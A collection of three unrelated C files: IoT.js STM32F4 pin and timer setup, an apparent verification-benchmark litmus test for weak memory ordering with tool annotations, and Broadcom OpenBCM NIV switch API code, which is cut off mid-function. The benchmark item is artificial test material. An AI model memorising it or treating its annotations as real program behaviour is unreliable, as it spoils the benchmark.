SET_GPIO_CONSTANT_CHANNEL(timer, 1);
#define SET_GPIO_CONSTANT_TIM_2(timer) \
SET_GPIO_CONSTANT_TIM(timer); \
SET_GPIO_CONSTANT_CHANNEL(timer, 1); \
SET_GPIO_CONSTANT_CHANNEL(timer, 2);
#define SET_GPIO_CONSTANT_TIM_4(timer) \
SET_GPIO_CONSTANT_TIM(timer); \
SET_GPIO_CONSTANT_CHANNEL(timer, 1); \
SET_GPIO_CONSTANT_CHANNEL(timer, 2); \
SET_GPIO_CONSTANT_CHANNEL(timer, 3); \
SET_GPIO_CONSTANT_CHANNEL(timer, 4);
SET_GPIO_CONSTANT_TIM_4(1); // PA8, PE9, PA9, PE11, PA10, PE13, PA11, PE14
iotjs_jval_destroy(&jtim1);
SET_GPIO_CONSTANT_TIM_4(2); // PA0, PA15, PA1, PB3, PA2, PB10, PA3, PB11
iotjs_jval_set_property_number(&jtim2, "CH1_3", GPIO_TIM2_CH1OUT_3); // PA5
iotjs_jval_destroy(&jtim2);
SET_GPIO_CONSTANT_TIM_4(3); // PA6, PB4, PA7, PB5, PB0, PC8, PB1, PC9
iotjs_jval_set_property_number(&jtim3, "CH1_3", GPIO_TIM3_CH1OUT_3); // PC6
iotjs_jval_set_property_number(&jtim3, "CH2_3", GPIO_TIM3_CH2OUT_3); // PC7
iotjs_jval_destroy(&jtim3);
SET_GPIO_CONSTANT_TIM_4(4); // PB6, PD12, PB7, PD13, PB8, PD14, PB9, PD15
iotjs_jval_destroy(&jtim4);
SET_GPIO_CONSTANT_TIM_4(5); // PA0, PH10, PA1, PH11, PA2, PH12, PA3, PI0
iotjs_jval_destroy(&jtim5);
SET_GPIO_CONSTANT_TIM_4(8); // PC6, PI5, PC7, PI6, PC8, PI7, PC9, PI2
iotjs_jval_destroy(&jtim8);
SET_GPIO_CONSTANT_TIM_2(9); // PA2, PE5, PA3, PE6
iotjs_jval_destroy(&jtim9);
SET_GPIO_CONSTANT_TIM_1(10); // PB8, PF6
iotjs_jval_destroy(&jtim10);
SET_GPIO_CONSTANT_TIM_1(11); // PB9, PF7
iotjs_jval_destroy(&jtim11);
SET_GPIO_CONSTANT_TIM_2(12); // PH6, PB14, PB15, PH9
iotjs_jval_destroy(&jtim12);
SET_GPIO_CONSTANT_TIM_1(13); // PA6, PF8
iotjs_jval_destroy(&jtim13);
SET_GPIO_CONSTANT_TIM_1(14); // PA7, PF9
iotjs_jval_destroy(&jtim14);
#undef SET_GPIO_CONSTANT_TIM_4
#undef SET_GPIO_CONSTANT_TIM_2
#undef SET_GPIO_CONSTANT_TIM_1
#undef SET_GPIO_CONSTANT_TIM
#undef SET_GPIO_CONSTANT_CHANNEL
#undef SET_GPIO_CONSTANT
}
#endif /* ENABLE_MODULE_PWM */
void iotjs_stm32f4dis_pin_initialize(const iotjs_jval_t* jobj) {
iotjs_jval_t jpin = iotjs_jval_create_object();
iotjs_jval_set_property_jval(jobj, "pin", &jpin);
#if ENABLE_MODULE_ADC
iotjs_pin_initialize_adc(&jpin);
#endif /* ENABLE_MODULE_ADC */
#if ENABLE_MODULE_GPIO
iotjs_pin_initialize_gpio(&jpin);
#endif /* ENABLE_MODULE_GPIO */
#if ENABLE_MODULE_PWM
iotjs_pin_initialize_pwm(&jpin);
#endif /* ENABLE_MODULE_PWM */
iotjs_jval_destroy(&jpin);
}
#endif // __NUTTX__
|
the_stack_data/22409.c
|
extern void __VERIFIER_error() __attribute__ ((__noreturn__));
void __VERIFIER_assert(int expression) { if (!expression) { ERROR: /* assert not proved */
/* assert not proved */
__VERIFIER_error(); }; return; }
int __global_lock;
void __VERIFIER_atomic_begin() { /* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
/* reachable */
__VERIFIER_assume(__global_lock==0); __global_lock=1; return; }
void __VERIFIER_atomic_end() { __VERIFIER_assume(__global_lock==1); __global_lock=0; return; }
#include "assert.h"
#include "pthread.h"
#ifndef TRUE
#define TRUE (_Bool)1
#endif
#ifndef FALSE
#define FALSE (_Bool)0
#endif
#ifndef NULL
#define NULL ((void*)0)
#endif
#ifndef FENCE
#define FENCE(x) ((void)0)
#endif
#ifndef IEEE_FLOAT_EQUAL
#define IEEE_FLOAT_EQUAL(x,y) (x==y)
#endif
#ifndef IEEE_FLOAT_NOTEQUAL
#define IEEE_FLOAT_NOTEQUAL(x,y) (x!=y)
#endif
void * P0(void *arg);
void * P1(void *arg);
void * P2(void *arg);
void * P3(void *arg);
void fence();
void isync();
void lwfence();
int __unbuffered_cnt;
int __unbuffered_cnt = 0;
int __unbuffered_p2_EAX;
int __unbuffered_p2_EAX = 0;
int __unbuffered_p3_EAX;
int __unbuffered_p3_EAX = 0;
int a;
int a = 0;
_Bool a$flush_delayed;
int a$mem_tmp;
_Bool a$r_buff0_thd0;
_Bool a$r_buff0_thd1;
_Bool a$r_buff0_thd2;
_Bool a$r_buff0_thd3;
_Bool a$r_buff0_thd4;
_Bool a$r_buff1_thd0;
_Bool a$r_buff1_thd1;
_Bool a$r_buff1_thd2;
_Bool a$r_buff1_thd3;
_Bool a$r_buff1_thd4;
_Bool a$read_delayed;
int *a$read_delayed_var;
int a$w_buff0;
_Bool a$w_buff0_used;
int a$w_buff1;
_Bool a$w_buff1_used;
_Bool main$tmp_guard0;
_Bool main$tmp_guard1;
int x;
int x = 0;
int y;
int y = 0;
int z;
int z = 0;
_Bool weak$$choice0;
_Bool weak$$choice2;
void * P0(void *arg)
{
__VERIFIER_atomic_begin();
a$w_buff1 = a$w_buff0;
a$w_buff0 = 1;
a$w_buff1_used = a$w_buff0_used;
a$w_buff0_used = TRUE;
__VERIFIER_assert(!(a$w_buff1_used && a$w_buff0_used));
a$r_buff1_thd0 = a$r_buff0_thd0;
a$r_buff1_thd1 = a$r_buff0_thd1;
a$r_buff1_thd2 = a$r_buff0_thd2;
a$r_buff1_thd3 = a$r_buff0_thd3;
a$r_buff1_thd4 = a$r_buff0_thd4;
a$r_buff0_thd1 = TRUE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
x = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
a = a$w_buff0_used && a$r_buff0_thd1 ? a$w_buff0 : (a$w_buff1_used && a$r_buff1_thd1 ? a$w_buff1 : a);
a$w_buff0_used = a$w_buff0_used && a$r_buff0_thd1 ? FALSE : a$w_buff0_used;
a$w_buff1_used = a$w_buff0_used && a$r_buff0_thd1 || a$w_buff1_used && a$r_buff1_thd1 ? FALSE : a$w_buff1_used;
a$r_buff0_thd1 = a$w_buff0_used && a$r_buff0_thd1 ? FALSE : a$r_buff0_thd1;
a$r_buff1_thd1 = a$w_buff0_used && a$r_buff0_thd1 || a$w_buff1_used && a$r_buff1_thd1 ? FALSE : a$r_buff1_thd1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P1(void *arg)
{
__VERIFIER_atomic_begin();
x = 2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
y = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
a = a$w_buff0_used && a$r_buff0_thd2 ? a$w_buff0 : (a$w_buff1_used && a$r_buff1_thd2 ? a$w_buff1 : a);
a$w_buff0_used = a$w_buff0_used && a$r_buff0_thd2 ? FALSE : a$w_buff0_used;
a$w_buff1_used = a$w_buff0_used && a$r_buff0_thd2 || a$w_buff1_used && a$r_buff1_thd2 ? FALSE : a$w_buff1_used;
a$r_buff0_thd2 = a$w_buff0_used && a$r_buff0_thd2 ? FALSE : a$r_buff0_thd2;
a$r_buff1_thd2 = a$w_buff0_used && a$r_buff0_thd2 || a$w_buff1_used && a$r_buff1_thd2 ? FALSE : a$r_buff1_thd2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P2(void *arg)
{
__VERIFIER_atomic_begin();
y = 2;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_p2_EAX = z;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
a = a$w_buff0_used && a$r_buff0_thd3 ? a$w_buff0 : (a$w_buff1_used && a$r_buff1_thd3 ? a$w_buff1 : a);
a$w_buff0_used = a$w_buff0_used && a$r_buff0_thd3 ? FALSE : a$w_buff0_used;
a$w_buff1_used = a$w_buff0_used && a$r_buff0_thd3 || a$w_buff1_used && a$r_buff1_thd3 ? FALSE : a$w_buff1_used;
a$r_buff0_thd3 = a$w_buff0_used && a$r_buff0_thd3 ? FALSE : a$r_buff0_thd3;
a$r_buff1_thd3 = a$w_buff0_used && a$r_buff0_thd3 || a$w_buff1_used && a$r_buff1_thd3 ? FALSE : a$r_buff1_thd3;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void * P3(void *arg)
{
__VERIFIER_atomic_begin();
z = 1;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
weak$$choice0 = nondet_1();
weak$$choice2 = nondet_1();
a$flush_delayed = weak$$choice2;
a$mem_tmp = a;
a = !a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a : (a$w_buff0_used && a$r_buff0_thd4 ? a$w_buff0 : a$w_buff1);
a$w_buff0 = weak$$choice2 ? a$w_buff0 : (!a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a$w_buff0 : (a$w_buff0_used && a$r_buff0_thd4 ? a$w_buff0 : a$w_buff0));
a$w_buff1 = weak$$choice2 ? a$w_buff1 : (!a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a$w_buff1 : (a$w_buff0_used && a$r_buff0_thd4 ? a$w_buff1 : a$w_buff1));
a$w_buff0_used = weak$$choice2 ? a$w_buff0_used : (!a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a$w_buff0_used : (a$w_buff0_used && a$r_buff0_thd4 ? FALSE : a$w_buff0_used));
a$w_buff1_used = weak$$choice2 ? a$w_buff1_used : (!a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a$w_buff1_used : (a$w_buff0_used && a$r_buff0_thd4 ? FALSE : FALSE));
a$r_buff0_thd4 = weak$$choice2 ? a$r_buff0_thd4 : (!a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a$r_buff0_thd4 : (a$w_buff0_used && a$r_buff0_thd4 ? FALSE : a$r_buff0_thd4));
a$r_buff1_thd4 = weak$$choice2 ? a$r_buff1_thd4 : (!a$w_buff0_used || !a$r_buff0_thd4 && !a$w_buff1_used || !a$r_buff0_thd4 && !a$r_buff1_thd4 ? a$r_buff1_thd4 : (a$w_buff0_used && a$r_buff0_thd4 ? FALSE : FALSE));
__unbuffered_p3_EAX = a;
a = a$flush_delayed ? a$mem_tmp : a;
a$flush_delayed = FALSE;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
a = a$w_buff0_used && a$r_buff0_thd4 ? a$w_buff0 : (a$w_buff1_used && a$r_buff1_thd4 ? a$w_buff1 : a);
a$w_buff0_used = a$w_buff0_used && a$r_buff0_thd4 ? FALSE : a$w_buff0_used;
a$w_buff1_used = a$w_buff0_used && a$r_buff0_thd4 || a$w_buff1_used && a$r_buff1_thd4 ? FALSE : a$w_buff1_used;
a$r_buff0_thd4 = a$w_buff0_used && a$r_buff0_thd4 ? FALSE : a$r_buff0_thd4;
a$r_buff1_thd4 = a$w_buff0_used && a$r_buff0_thd4 || a$w_buff1_used && a$r_buff1_thd4 ? FALSE : a$r_buff1_thd4;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
__unbuffered_cnt = __unbuffered_cnt + 1;
__VERIFIER_atomic_end();
return nondet_0();
}
void fence()
{
}
void isync()
{
}
void lwfence()
{
}
int main()
{
pthread_create(NULL, NULL, P0, NULL);
pthread_create(NULL, NULL, P1, NULL);
pthread_create(NULL, NULL, P2, NULL);
pthread_create(NULL, NULL, P3, NULL);
__VERIFIER_atomic_begin();
main$tmp_guard0 = __unbuffered_cnt == 4;
__VERIFIER_atomic_end();
__VERIFIER_assume(main$tmp_guard0);
__VERIFIER_atomic_begin();
a = a$w_buff0_used && a$r_buff0_thd0 ? a$w_buff0 : (a$w_buff1_used && a$r_buff1_thd0 ? a$w_buff1 : a);
a$w_buff0_used = a$w_buff0_used && a$r_buff0_thd0 ? FALSE : a$w_buff0_used;
a$w_buff1_used = a$w_buff0_used && a$r_buff0_thd0 || a$w_buff1_used && a$r_buff1_thd0 ? FALSE : a$w_buff1_used;
a$r_buff0_thd0 = a$w_buff0_used && a$r_buff0_thd0 ? FALSE : a$r_buff0_thd0;
a$r_buff1_thd0 = a$w_buff0_used && a$r_buff0_thd0 || a$w_buff1_used && a$r_buff1_thd0 ? FALSE : a$r_buff1_thd0;
__VERIFIER_atomic_end();
__VERIFIER_atomic_begin();
/* Program proven to be relaxed for X86, model checker says YES. */
main$tmp_guard1 = !(x == 2 && y == 2 && __unbuffered_p2_EAX == 0 && __unbuffered_p3_EAX == 0);
__VERIFIER_atomic_end();
/* Program proven to be relaxed for X86, model checker says YES. */
__VERIFIER_assert(main$tmp_guard1);
/* reachable */
return 0;
}
|
the_stack_data/92329252.c
|
/*
*
* This license is set out in https://raw.githubusercontent.com/Broadcom-Network-Switching-Software/OpenBCM/master/Legal/LICENSE file.
*
* Copyright 2007-2020 Broadcom Inc. All rights reserved.
*
* Purpose: Implements ESW NIV APIs
*/
#if defined(INCLUDE_L3)
#include <soc/drv.h>
#include <soc/scache.h>
#include <soc/util.h>
#include <soc/debug.h>
#include <bcm/types.h>
#include <bcm/error.h>
#include <bcm/niv.h>
#include <bcm_int/esw/mbcm.h>
#include <bcm_int/esw/switch.h>
#include <bcm_int/esw_dispatch.h>
#include <bcm_int/esw/trident.h>
#include <bcm_int/esw/triumph3.h>
#include <bcm_int/esw/trident2.h>
#include <bcm_int/esw/greyhound.h>
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
/* Flag to check initialized status */
STATIC int niv_initialized[BCM_MAX_NUM_UNITS];
#define NIV_INIT(unit) \
do { \
if ((unit < 0) || (unit >= BCM_MAX_NUM_UNITS)) { \
return BCM_E_UNIT; \
} \
if (!niv_initialized[unit]) { \
return BCM_E_INIT; \
} \
} while (0)
/*
* NIV module lock
*/
STATIC sal_mutex_t niv_mutex[BCM_MAX_NUM_UNITS] = {NULL};
#define NIV_LOCK(unit) \
sal_mutex_take(niv_mutex[unit], sal_mutex_FOREVER);
#define NIV_UNLOCK(unit) \
sal_mutex_give(niv_mutex[unit]);
/*
* Function:
* _bcm_niv_check_init
* Purpose:
* Check if NIV is initialized
* Parameters:
* unit - SOC unit number
* Returns:
* BCM_E_XXX
*/
int
_bcm_niv_check_init(int unit)
{
if (!niv_initialized[unit]) {
return BCM_E_INIT;
}
return BCM_E_NONE;
}
/*
* Function:
* _bcm_esw_niv_free_resources
* Purpose:
* Free NIV resources
* Parameters:
* unit - SOC unit number
* Returns:
* Nothing
*/
STATIC void
_bcm_esw_niv_free_resources(int unit)
{
if (niv_mutex[unit]) {
sal_mutex_destroy(niv_mutex[unit]);
niv_mutex[unit] = NULL;
}
}
#endif /* (BCM_TRIDENT_SUPPORT||BCM_GREYHOUND_SUPPORT) && INCLUDE_L3 */
#ifdef BCM_WARM_BOOT_SUPPORT
#define BCM_WB_VERSION_1_0 SOC_SCACHE_VERSION(1,0)
#define BCM_WB_VERSION_1_1 SOC_SCACHE_VERSION(1,1)
#define BCM_WB_VERSION_1_2 SOC_SCACHE_VERSION(1,2)
#define BCM_WB_VERSION_1_3 SOC_SCACHE_VERSION(1,3)
#define BCM_WB_DEFAULT_VERSION BCM_WB_VERSION_1_3
/*
* Function:
* _bcm_esw_niv_sync
* Purpose:
* Record NIV module persistent info for Level 2 Warm Boot
* Parameters:
* unit - StrataSwitch unit number.
* Returns:
* BCM_E_XXX
*/
int
_bcm_esw_niv_sync(int unit)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
if (!SOC_IS_GREYHOUND(unit) && !SOC_IS_HURRICANE3(unit) &&
!SOC_IS_GREYHOUND2(unit)) {
#if defined(BCM_TRIDENT_SUPPORT)
soc_scache_handle_t scache_handle;
uint8 *scache_ptr;
SOC_SCACHE_HANDLE_SET(scache_handle, unit, BCM_MODULE_NIV, 0);
BCM_IF_ERROR_RETURN
(_bcm_esw_scache_ptr_get(unit, scache_handle, FALSE,
0, &scache_ptr,
BCM_WB_DEFAULT_VERSION, NULL));
BCM_IF_ERROR_RETURN(bcm_trident_niv_sync(unit, &scache_ptr));
#endif
}
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_NONE;
}
#endif /* BCM_WARM_BOOT_SUPPORT */
/*
* Function:
* bcm_esw_niv_init
* Purpose:
* Initialize NIV module
* Parameters:
* unit - SOC unit number
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_init(int unit)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
#ifdef BCM_WARM_BOOT_SUPPORT
if (!(SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit))) {
#if defined(BCM_TRIDENT_SUPPORT)
uint32 required_scache_size;
soc_scache_handle_t scache_handle;
uint8 *scache_ptr;
int rv = BCM_E_NONE;
/* Get the required scache size */
BCM_IF_ERROR_RETURN(bcm_trident_niv_required_scache_size_get(unit,
&required_scache_size));
/* Allocate required scache */
SOC_SCACHE_HANDLE_SET(scache_handle, unit, BCM_MODULE_NIV, 0);
if (required_scache_size > 0) {
rv = _bcm_esw_scache_ptr_get(unit, scache_handle,
(0 == SOC_WARM_BOOT(unit)), required_scache_size,
&scache_ptr, BCM_WB_DEFAULT_VERSION, NULL);
if (BCM_FAILURE(rv) && (rv != BCM_E_NOT_FOUND)) {
return rv;
}
}
#endif /* BCM_TRIDENT_SUPPORT */
}
#endif /* BCM_WARM_BOOT_SUPPORT */
if (niv_initialized[unit]) {
BCM_IF_ERROR_RETURN(bcm_esw_niv_cleanup(unit));
}
if (!(SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit))) {
#if defined(BCM_TRIDENT_SUPPORT)
BCM_IF_ERROR_RETURN(bcm_trident_niv_init(unit));
#endif
}
if (niv_mutex[unit] == NULL) {
niv_mutex[unit] = sal_mutex_create("niv mutex");
if (niv_mutex[unit] == NULL) {
bcm_esw_niv_cleanup(unit);
return BCM_E_MEMORY;
}
}
#ifdef BCM_WARM_BOOT_SUPPORT
if (SOC_WARM_BOOT(unit)) {
if (!(SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit))) {
#if defined(BCM_TRIDENT_SUPPORT)
int rv = BCM_E_NONE;
rv = bcm_trident_niv_reinit(unit);
if (BCM_FAILURE(rv)) {
(void) bcm_esw_niv_cleanup(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT */
}
}
#endif /* BCM_WARM_BOOT_SUPPORT */
niv_initialized[unit] = TRUE;
return BCM_E_NONE;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_cleanup
* Purpose:
* Detach NIV module, clear all HW states
* Parameters:
* unit - SOC unit number
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_cleanup(int unit)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
if (!(SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit))) {
#if defined(BCM_TRIDENT_SUPPORT)
BCM_IF_ERROR_RETURN(bcm_trident_niv_cleanup(unit));
#endif
}
_bcm_esw_niv_free_resources(unit);
niv_initialized[unit] = FALSE;
return BCM_E_NONE;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_port_add
* Purpose:
* Create a NIV port
* Parameters:
* unit - (IN) SOC unit Number
* niv_port - (IN/OUT) NIV port information (OUT : niv_port_id)
* Returns:
* BCM_E_XXX
*/
int bcm_esw_niv_port_add(int unit, bcm_niv_port_t *niv_port)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_port_add(unit, niv_port);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_port_delete
* Purpose:
* Delete a NIV port
* Parameters:
* unit - (IN) SOC unit number
* niv_port_id - (IN) NIV port ID
* Returns:
* BCM_E_XXX
*/
int bcm_esw_niv_port_delete(int unit, bcm_gport_t niv_port_id)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_port_delete(unit, niv_port_id);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_port_delete_all
* Purpose:
* Delete all NIV ports
* Parameters:
* unit - (IN) SOC unit number
* Returns:
* BCM_E_XXX
*/
int bcm_esw_niv_port_delete_all(int unit)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_port_delete_all(unit);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_port_get
* Purpose:
* Get info about a NIV port
* Parameters:
* unit - (IN) SOC unit number
* niv_port - (IN/OUT) NIV port information (IN : niv_port_id)
* Returns:
* BCM_E_XXX
*/
int bcm_esw_niv_port_get(int unit, bcm_niv_port_t *niv_port)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_port_get(unit, niv_port);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_port_traverse
* Purpose:
* Traverse all valid NIV port entries and call the
* supplied callback routine.
* Parameters:
* unit - Device Number
* cb - User callback function, called once per NIV Port entry.
* user_data - cookie
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_port_traverse(int unit,
bcm_niv_port_traverse_cb cb,
void *user_data)
{
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
return BCM_E_UNAVAIL;
}
#if defined(BCM_TRIDENT_SUPPORT) && defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv;
NIV_INIT(unit);
NIV_LOCK(unit);
rv = bcm_trident_niv_port_traverse(unit, cb, user_data);
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_forward_add
* Purpose:
* Create a NIV forwarding table entry
* Parameters:
* unit - (IN) Device Number
* iv_fwd_entry - (IN) NIV forwarding table entry
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_forward_add(int unit, bcm_niv_forward_t *iv_fwd_entry)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv = BCM_E_NONE;
NIV_INIT(unit);
NIV_LOCK(unit);
#ifdef BCM_TRIUMPH3_SUPPORT
if (SOC_IS_TRIUMPH3(unit)) {
rv = bcm_tr3_niv_forward_add(unit, iv_fwd_entry);
} else
#endif /* BCM_TRIUMPH3_SUPPORT */
#ifdef BCM_GREYHOUND_SUPPORT
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
rv = bcm_gh_niv_forward_add(unit, iv_fwd_entry);
} else
#endif /* BCM_GREYHOUND_SUPPORT */
{
#ifdef BCM_TRIDENT_SUPPORT
rv = bcm_trident_niv_forward_add(unit, iv_fwd_entry);
#endif /* BCM_TRIDENT_SUPPORT */
}
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_forward_delete
* Purpose:
* Delete a NIV forwarding table entry
* Parameters:
* unit - (IN) Device Number
* iv_fwd_entry - (IN) NIV forwarding table entry
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_forward_delete(int unit, bcm_niv_forward_t *iv_fwd_entry)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv = BCM_E_NONE;
NIV_INIT(unit);
NIV_LOCK(unit);
#ifdef BCM_TRIUMPH3_SUPPORT
if (SOC_IS_TRIUMPH3(unit)) {
rv = bcm_tr3_niv_forward_delete(unit, iv_fwd_entry);
} else
#endif /* BCM_TRIUMPH3_SUPPORT */
#ifdef BCM_GREYHOUND_SUPPORT
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
rv = bcm_gh_niv_forward_delete(unit, iv_fwd_entry);
} else
#endif /* BCM_GREYHOUND_SUPPORT */
{
#ifdef BCM_TRIDENT_SUPPORT
rv = bcm_trident_niv_forward_delete(unit, iv_fwd_entry);
#endif /* BCM_TRIDENT_SUPPORT */
}
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_forward_delete_all
* Purpose:
* Delete all NIV Forwarding table entries
* Parameters:
* unit - Device Number
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_forward_delete_all(int unit)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv = BCM_E_NONE;
NIV_INIT(unit);
NIV_LOCK(unit);
#ifdef BCM_TRIUMPH3_SUPPORT
if (SOC_IS_TRIUMPH3(unit)) {
rv = bcm_tr3_niv_forward_delete_all(unit);
} else
#endif /* BCM_TRIUMPH3_SUPPORT */
#ifdef BCM_GREYHOUND_SUPPORT
if (SOC_IS_GREYHOUND(unit) || SOC_IS_HURRICANE3(unit) ||
SOC_IS_GREYHOUND2(unit)) {
rv = bcm_gh_niv_forward_delete_all(unit);
} else
#endif /* BCM_GREYHOUND_SUPPORT */
{
#ifdef BCM_TRIDENT_SUPPORT
rv = bcm_trident_niv_forward_delete_all(unit);
#endif /* BCM_TRIDENT_SUPPORT */
}
NIV_UNLOCK(unit);
return rv;
}
#endif /* BCM_TRIDENT_SUPPORT && INCLUDE_L3 */
return BCM_E_UNAVAIL;
}
/* Function:
* bcm_esw_niv_forward_get
* Purpose:
* Get NIV forwarding table entry
* Parameters:
* unit - (IN) Device Number
* iv_fwd_entry - (IN/OUT) NIV forwarding table info
* Returns:
* BCM_E_XXX
*/
int
bcm_esw_niv_forward_get(int unit, bcm_niv_forward_t *iv_fwd_entry)
{
#if (defined(BCM_TRIDENT_SUPPORT) || defined(BCM_GREYHOUND_SUPPORT)) && \
defined(INCLUDE_L3)
if (soc_feature(unit, soc_feature_niv)) {
int rv = BCM_E_NONE;
NIV_INIT(unit);
NIV_LOCK(unit);
